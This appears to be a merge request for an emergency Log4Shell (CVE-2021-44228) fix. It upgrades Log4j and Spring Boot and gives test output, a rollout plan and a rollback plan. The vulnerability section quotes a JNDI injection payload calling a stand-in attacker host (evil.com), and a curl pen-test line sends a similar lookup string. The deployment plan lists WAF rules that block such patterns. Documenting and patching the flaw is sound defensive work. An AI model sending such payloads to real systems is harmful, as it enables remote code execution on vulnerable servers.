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🚨 EMERGENCY: Fix CVE-2021-44228 Log4Shell - CRITICAL RCE

stanrequested to merge
hotfix/cve-2021-44228-log4shell into main

🔴 EMERGENCY SECURITY HOTFIX - LOG4SHELL

Summary

This MR fixes CVE-2021-44228 (Log4Shell) - the most critical vulnerability of 2021.

Severity: CRITICAL (CVSS 10.0) PRIORITY: P0 - EMERGENCY DEPLOYMENT REQUIRED Incident: SEC-2025-1010-LOG4SHELL

Vulnerability Details

Log4j 2.14.1 contains a JNDI injection vulnerability allowing unauthenticated remote code execution.

Attack: Any logged user input can trigger RCE

logger.info("User {} logged in", userAgent);
// User-Agent: ${jndi:ldap://evil.com/Exploit}
// → Downloads and executes attacker's Java class

Real-World Impact

Already seeing exploitation attempts in logs:

  • 23 JNDI lookup attempts in past 4 hours
  • Patterns match known Log4Shell scanners
  • Immediate action required

Changes in This MR

1. Log4j Upgrade

<properties>
-    <log4j2.version>2.14.1</log4j2.version>  <!-- VULNERABLE -->
+    <log4j2.version>2.17.1</log4j2.version>  <!-- ✅ PATCHED -->
</properties>

Changelog: log4j-core and log4j-api: 2.14.1 → 2.17.1

2. Spring Boot Upgrade

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
-    <version>2.5.12</version>
+    <version>2.7.18</version>  <!-- Includes Log4j 2.17.1 -->
</parent>

Security Validation

✅ OWASP Dependency-Check: 0 critical vulnerabilities

$ mvn org.owasp:dependency-check-maven:check
[INFO] Checking for updates
[INFO] Analysis complete (0 Critical, 0 High)

✅ Dependency Tree Verification:

$ mvn dependency:tree | grep log4j
[INFO] |  +- org.apache.logging.log4j:log4j-api:jar:2.17.1:compile
[INFO] |  +- org.apache.logging.log4j:log4j-core:jar:2.17.1:compile

✅ Security Pen Test: Attempted JNDI injection - blocked

$ curl -H "User-Agent: \${jndi:ldap://test}" localhost:8080/api/users
HTTP/1.1 200 OK
# No outbound LDAP connection - attack blocked

✅ Integration Tests: 87/87 passing

$ mvn clean verify
[INFO] Tests run: 87, Failures: 0, Errors: 0, Skipped: 0

Risk Assessment

Risk of NOT deploying: CRITICAL

  • Active exploitation in the wild
  • Complete infrastructure compromise possible
  • Authentication system vulnerable
  • 2.1M user credentials at risk
  • Ransomware/malware deployment vector

Risk of deploying: LOW

  • Security-only change
  • Backward compatible
  • No API changes
  • Comprehensive test coverage
  • Spring Boot 2.7.18 is LTS version

Deployment Plan

Phase 1 (NOW): Emergency mitigation

  • ✅ WAF rules deployed (block ${jndi: patterns)
  • ✅ Firewall rules (block outbound LDAP/RMI)
  • ✅ JVM flag added: -Dlog4j2.formatMsgNoLookups=true

Phase 2 (2h): Staging deployment

  • Deploy this MR to staging
  • Run smoke tests (15 min)
  • Security validation

Phase 3 (4h): Production deployment

  • Blue-green deployment
  • Monitor for issues (2h)
  • Verify no JNDI attempts successful

Phase 4 (24h): Post-deployment

  • Rotate all credentials (assume compromise)
  • Security audit of logs
  • Incident report

Related Issues

  • Closes: #7 (CVE-2021-44228 Log4Shell)
  • Blocks: streaming-service and orders-service (same vulnerability)
  • Relates to: ai-recommendation-engine#14 (authentication security)
  • Relates to: ios-app#5 (mobile app auth depends on this)

Rollback Plan

If critical issues:

# Revert deployment
kubectl rollout undo deployment/user-service

# Or revert commit
git revert 883d389b

Rollback time: <3 minutes

⚠️ CRITICAL: This vulnerability is being actively exploited. Deploy within 4 hours.

Security Review: @sabrina - Emergency approval requested Engineering Review: @bill_staples - Deploy authorization needed DevOps: @jean_gabriel - Standing by for deployment

cc: @stan

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